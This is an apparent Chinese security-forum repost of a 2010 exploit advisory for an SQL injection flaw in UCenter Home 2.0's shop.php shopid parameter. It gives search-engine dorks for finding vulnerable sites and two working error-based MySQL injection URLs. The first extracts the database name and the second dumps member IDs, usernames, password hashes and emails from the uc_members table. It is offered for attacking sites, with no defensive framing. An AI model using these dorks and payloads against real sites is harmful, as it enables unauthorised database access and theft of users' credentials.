蓝盟诗人[LUC]蓝客联盟

UCenter Home 2.0 SQL Injection 注入漏洞

2010-09-26 23:25 作者: 来源: 本站 浏览: 2,946 views 我要评论 字号:
*/ Author : KnocKout
*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers
*/ Contact: [email protected]
*/ Cyber-Warrior.org/CWKnocKout
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
Script : UCenter Home
Version : 2.0
Script HomePage : http://u.discuz.net/
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
Dork : Powered by UCenter inurl:shop.php?ac=view
Dork 2 : inurl:shop.php?ac=view&shopid=
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
Vuln file : Shop.php
value's : (?)ac=view&shopid=
Vulnerable Style : SQL Injection (MySQL Error Based)
Need Metarials : Hex Conversion
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
Your Need victim Database name.
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
..
DB : Okey.
your edit DB [TARGET DB NAME]
Example : 'hiwir1_ucenter'
Edit : Okey.
Your use Hex conversion. And edit Your SQL Injection Exploit..

Exploit Code : 复制代码
http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM hiwir1_ucenter.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

打印
分享到:
复制链接

发表评论

*

* (保密)

Ctrl+Enter 快捷回复

会员登录关闭

记住我 忘记密码

注册会员关闭

小提示: 您的密码会通过填写的"电子邮箱"发送给您.